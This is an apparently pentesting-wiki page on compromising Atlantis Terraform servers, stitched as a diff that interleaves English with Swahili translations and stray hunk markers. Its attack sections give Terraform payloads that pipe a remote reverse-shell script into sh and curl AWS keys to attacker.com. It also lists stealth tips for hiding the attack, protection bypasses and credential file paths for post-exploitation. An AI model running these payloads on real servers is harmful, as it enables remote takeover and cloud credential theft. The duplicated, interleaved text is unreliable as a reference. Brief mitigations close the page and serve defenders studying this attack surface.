1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
2. Create a **personal token** (with repo access) of your **github** user
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
1. You can access the web page in 127.0.0.1:4141
1. Nenda kwenye **ukurasa wa toleo la atlantis** katika [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) na **pakua** ile inayokufaa.
2. Unda **token ya kibinafsi** (ikiwa na ufikiaji wa repo) wa mtumiaji wako wa **github**
3. Tekeleza `./atlantis testdrive` na itaunda **demo repo** ambayo unaweza kutumia ku **zungumza na atlantis**
1. Unaweza kufikia ukurasa wa wavuti katika 127.0.0.1:4141
### Atlantis Access
#### Git Server Credentials
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
**Atlantis** inasaidia wenyeji kadhaa wa git kama **Github**, **Gitlab**, **Bitbucket** na **Azure DevOps**.\
Hata hivyo, ili kufikia repos katika majukwaa hayo na kufanya vitendo, inahitaji kuwa na **ufikiaji wa kibali uliopewa** (angalau ruhusa za kuandika).\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) inahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi.
> [!WARNING]
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
> Katika hali yoyote, kutoka kwa mtazamo wa washambuliaji, **akaunti ya Atlantis** itakuwa moja ya **ya kuvutia** **kuvunjwa**.
#### Webhooks
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
Atlantis inatumia kwa hiari [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kuthibitisha kwamba **webhooks** inazopokea kutoka kwa mwenyeji wako wa Git ni **halali**.
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
Njia moja ya kuthibitisha hii ingekuwa **kuruhusu maombi kuja tu kutoka kwa IPs** za mwenyeji wako wa Git lakini njia rahisi ni kutumia Webhook Secret.
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
Kumbuka kwamba isipokuwa unatumia seva ya kibinafsi ya github au bitbucket, itabidi ufichue mwisho wa webhook kwa Mtandao.
> [!WARNING]
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
> Atlantis itakuwa **ikifichua webhooks** ili seva ya git iweze kutuma habari. Kutoka kwa mtazamo wa washambuliaji itakuwa ya kuvutia kujua **kama unaweza kutuma ujumbe**.
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
Atlantis inafanya Terraform kwa kutekeleza tu **amri za `terraform plan` na `apply`** kwenye seva **ambayo Atlantis inahifadhiwa**. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum.
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
Ni juu yako jinsi unavyoweza [kutoa akreditif](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) kwa mtoa huduma wako maalum kwa Atlantis:
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) na [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) zina mifumo yao wenyewe ya akreditif za mtoa huduma. Soma nyaraka zao.
- Ikiwa unafanya kazi na Atlantis katika wingu basi mawingu mengi yana njia za kutoa ufikiaji wa API ya wingu kwa programu zinazofanya kazi ndani yao, mfano:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Tafuta "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Watumiaji wengi huweka mabadiliko ya mazingira, mfano `AWS_ACCESS_KEY`, ambapo Atlantis inafanya kazi.
- Wengine huunda faili za usanidi zinazohitajika, mfano `~/.aws/credentials`, ambapo Atlantis inafanya kazi.
- Tumia [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kupata akreditif za mtoa huduma.
> [!WARNING]
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
> **Container** ambapo **Atlantis** inafanya **kazi** itakuwa na uwezekano mkubwa **kuhifadhi akreditif za kibali** kwa waendeshaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.
#### Web Page
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
Kwa kawaida Atlantis itafanya kazi **ukurasa wa wavuti katika bandari 4141 kwenye localhost**. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuzifungua (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana).
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida **hakuna akreditif zinazohitajika** kuifikia (na ikiwa zipo `atlantis`:`atlantis` ndio **za kawaida**).
### Server Configuration
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
Usanidi wa `atlantis server` unaweza kuainishwa kupitia bendera za mistari ya amri, mabadiliko ya mazingira, faili ya usanidi au mchanganyiko wa tatu.
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
- Unaweza kupata [**hapa orodha ya bendera**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) zinazosaidiwa na seva ya Atlantis
- Unaweza kupata [**hapa jinsi ya kubadilisha chaguo la usanidi kuwa env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
Values are **chosen in this order**:
Thamani zinachaguliwa **katika mpangilio huu**:
1. Flags
2. Environment Variables
3. Config File
1. Bendera
2. Mabadiliko ya Mazingira
3. Faili ya Usanidi
> [!WARNING]
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
> Kumbuka kwamba katika usanidi unaweza kupata thamani za kuvutia kama **tokens na nywila**.
#### Repos Configuration
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
Mifumo fulani ya usanidi inaathiri **jinsi repos zinavyosimamiwa**. Hata hivyo, inawezekana kwamba **kila repo inahitaji mipangilio tofauti**, hivyo kuna njia za kuainisha kila repo. Hii ndiyo mpangilio wa kipaumbele:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
3. **Default** values
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu.
1. Huenda ikahitajika kuruhusiwa na bendera kama `allowed_overrides` au `allow_custom_workflows`
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Unaweza kuipitia kwa bendera `--repo-config` na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa)
3. **Thamani za Kawaida**
**PR Protections**
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
Atlantis inaruhusu kuashiria ikiwa unataka **PR** ku **`idhinishwa`** na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa **`inaweza kuunganishwa`** (ulinzi wa tawi umepita) **kabla ya kuendesha apply**. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo.
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
Katika kesi `allowed_overrides` ni Kweli, mipangilio hii inaweza **kufutwa kwenye kila mradi na faili ya `/atlantis.yml`**.
**Scripts**
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
Usanidi wa repo unaweza **kuainisha scripts** za kuendesha [**kabla**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) na [**baada**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) **workflow inatekelezwa.**
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
Hakuna chaguo lolote la kuruhusu **kuainisha** scripts hizi katika **repo `/atlantis.yml`** faili.
**Workflow**
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
Katika usanidi wa repo (usanidi wa upande wa seva) unaweza [**kuainisha workflow mpya ya kawaida**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), au [**kuunda workflows mpya za kawaida**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Unaweza pia **kuainisha** ni **repos** zipi zinaweza **kufikia** zile **mpya** zilizoundwa.\
Kisha, unaweza kuruhusu faili ya **atlantis.yaml** ya kila repo ku **ainisha workflow ya kutumia.**
> [!CAUTION]
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
> Ikiwa bendera [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` imewekwa kuwa **Kweli**, workflows zinaweza **kuainishwa** katika faili ya **`atlantis.yaml`** ya kila repo. Pia inaweza kuwa muhimu kwamba **`allowed_overrides`** pia inasisitiza **`workflow`** ili **kufuta workflow** ambayo itatumika.\
> Hii itatoa **RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo**.
>
> ```yaml
> # atlantis.yaml
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
**Conftest Policy Checking**
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
Atlantis inasaidia kuendesha **server-side** [**conftest**](https://www.conftest.dev/) **sera** dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:
- Denying usage of a list of modules
- Asserting attributes of a resource at creation time
- Catching unintentional resource deletions
- Preventing security risks (ie. exposing secure ports to the public)
- Kukataa matumizi ya orodha ya moduli
- Kuashiria sifa za rasilimali wakati wa kuunda
- Kukamata kufutwa kwa rasilimali zisizokusudiwa
- Kuzuia hatari za usalama (yaani, kufichua bandari salama kwa umma)
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
Unaweza kuangalia jinsi ya kuipanga katika [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
### Attacks
### Mashambulizi
> [!WARNING]
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
You can fix it by running:
> Ikiwa wakati wa unyakuzi unakutana na **kosa** hili: `Error: Error acquiring the state lock`
Unaweza kulitatua kwa kukimbia:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Mabadiliko ya usanidi katika PR mpya
#### Atlantis plan RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
Ikiwa una ufikiaji wa kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza **kutekeleza `atlantis plan`** (au labda inatekelezwa kiotomatiki) **utaweza kufanya RCE ndani ya seva ya Atlantis**.
Unaweza kufanya hivi kwa kufanya [**Atlantis ipokee chanzo cha data cha nje**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Weka tu payload kama ifuatavyo katika faili ya `main.tf`:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Shambulio la Siri**
**Stealthier Attack**
You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
Unaweza kufanya shambulio hili hata kwa njia ya **siri zaidi**, kwa kufuata mapendekezo haya:
- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Unaweza kupata msimbo wa rev shell katika [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **msimbo wa terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Badala** ya kuunda **PR kwa master** ili kuanzisha Atlantis, **unda matawi 2** (test1 na test2) na uunde **PR kutoka moja hadi nyingine**. Unapokamilisha shambulio, tu **ondoa PR na matawi**.
#### Atlantis plan Secrets Dump
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
Unaweza **dump secrets zinazotumiwa na terraform** ukikimbia `atlantis plan` (`terraform plan`) kwa kuweka kitu kama hiki katika faili ya terraform:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
#### Atlantis apply RCE - Mabadiliko ya usanidi katika PR mpya
#### Atlantis apply RCE - Config modification in new PR
Ikiwa una ufikiaji wa kuandika kwenye hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza **kutekeleza `atlantis apply` utaweza RCE ndani ya seva ya Atlantis**.
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
Hata hivyo, kwa kawaida utahitaji kupita baadhi ya ulinzi:
However, you will usually need to bypass some protections:
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
- **Inayoweza kuunganishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kuendesha **`atlantis apply` ikiwa PR inaweza kuunganishwa** (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa).
- Angalia [**kupita kwa ulinzi wa tawi**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Imeidhinishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, **mtumiaji mwingine lazima aidhinishe PR** kabla hujaweza kuendesha `atlantis apply`
- Kwa kawaida unaweza kutumia [**token ya Gitbot kupita ulinzi huu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Kuendesha **`terraform apply` kwenye faili mbaya ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
Fuata **mapendekezo kutoka kwa mbinu ya awali** ili ufanye shambulio hili kwa **njia ya siri**.
#### Terraform Param Injection
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
Wakati wa kuendesha `atlantis plan` au `atlantis apply`, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika maoni kama:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Unaweza kupitisha mabadiliko ya mazingira ambayo yanaweza kusaidia kupita baadhi ya ulinzi. Angalia terraform env vars katika [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Mchakato wa Kijadi
#### Custom Workflow
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
This possibility was mentioned in a previous section:
Kukimbia **amri za kujenga za uhalifu** zilizobainishwa katika faili ya `atlantis.yaml`. Atlantis inatumia faili ya `atlantis.yaml` kutoka tawi la ombi la kuvuta, **sio** la `master`.\
Uwezekano huu ulitajwa katika sehemu ya awali:
> [!CAUTION]
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
> Ikiwa bendera ya [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` imewekwa kuwa **True**, michakato inaweza **kubainishwa** katika faili ya **`atlantis.yaml`** ya kila repo. Pia inaweza kuwa muhimu kwamba **`allowed_overrides`** inabainisha pia **`workflow`** ili **kuzuia mchakato** ambao utatumika.
>
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
> Hii itatoa **RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo**.
>
> ```yaml
> # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
#### Bypass plan/apply protections
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
#### Kupita mipango/maombi ya ulinzi
Ikiwa bendera ya [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _ina_ `apply_requirements` iliyowekwa, inawezekana kwa repo **kubadilisha mipango/maombi ya ulinzi ili kupita**.
```yaml
repos:
- id: /.*/
apply_requirements: []
- id: /.*/
apply_requirements: []
```
#### PR Hijacking
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
Ikiwa mtu atatuma **`atlantis plan/apply` maoni kwenye ombi zako halali za kuvuta,** itasababisha terraform kuendesha wakati hutaki.
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
Zaidi ya hayo, ikiwa huna mipangilio katika **branch protection** ya kuomba **kuangalia upya** kila PR wakati **commit mpya inasukumwa** kwake, mtu anaweza **kuandika mipangilio ya uharibifu** (angalia hali za awali) katika mipangilio ya terraform, kuendesha `atlantis plan/apply` na kupata RCE.
This is the **setting** in Github branch protections:
Hii ni **mipangilio** katika ulinzi wa branch wa Github:
![](<../images/image (216).png>)
#### Webhook Secret
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
Ikiwa umeweza **kuiiba webhook secret** inayotumika au ikiwa **hakuna webhook secret** inayotumika, unaweza **kuita webhook ya Atlantis** na **kuitisha amri za atlantis** moja kwa moja.
#### Bitbucket
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
Bitbucket Cloud **haikubali webhook secrets**. Hii inaweza kuruhusu washambuliaji **kuiga maombi kutoka Bitbucket**. Hakikisha unaruhusu tu IP za Bitbucket.
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
- Hii inamaanisha kwamba **mshambuliaji** anaweza kufanya **maombi ya uongo kwa Atlantis** ambayo yanaonekana kana kwamba yanatoka Bitbucket.
- Ikiwa unataja `--repo-allowlist` basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaweza kufanya ni kupanga/kuomba kwenye repos zako.
- Ili kuzuia hili, ruhusu [anwani za IP za Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (angalia anwani za IPv4 za nje).
### Post-Exploitation
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
Ikiwa umeweza kupata ufikiaji wa seva au angalau umepata LFI kuna mambo ya kuvutia unapaswa kujaribu kusoma:
- `/home/atlantis/.git-credentials` Contains vcs access credentials
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env variables
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
- `/home/atlantis/.git-credentials` Inayo nywila za ufikiaji wa vcs
- `/atlantis-data/atlantis.db` Inayo nywila za ufikiaji wa vcs na maelezo zaidi
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Faili ya hali ya terraform
- Mfano: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Mabadiliko ya mazingira
- `/proc/[2-20]/cmdline` Cmd line ya `atlantis server` (inaweza kuwa na data nyeti)
### Mitigations
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
#### Usitumie Kwenye Repos za Umma <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
Kwa sababu mtu yeyote anaweza kutoa maoni kwenye ombi za kuvuta za umma, hata na mipango yote ya usalama iliyopo, bado ni hatari kuendesha Atlantis kwenye repos za umma bila mipangilio sahihi ya mipangilio ya usalama.
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
#### Usitumie `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka `--allow-fork-prs` (inachukuliwa kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako.
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kupitia bendera ya `--repo-allowlist`. Kwa mfano:
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
- Repos maalum: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Shirika lako lote: `--repo-allowlist=github.com/runatlantis/*`
- Kila repo katika usakinishaji wako wa GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
- Repos zote: `--repo-allowlist=*`. Inatumika wakati uko katika mtandao uliohifadhiwa lakini ni hatari bila pia kuweka webhook secret.
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
Bendera hii inahakikisha usakinishaji wako wa Atlantis haujatumika na repos usizodhibiti. Angalia `atlantis server --help` kwa maelezo zaidi.
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
#### Linda Mipango ya Terraform <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
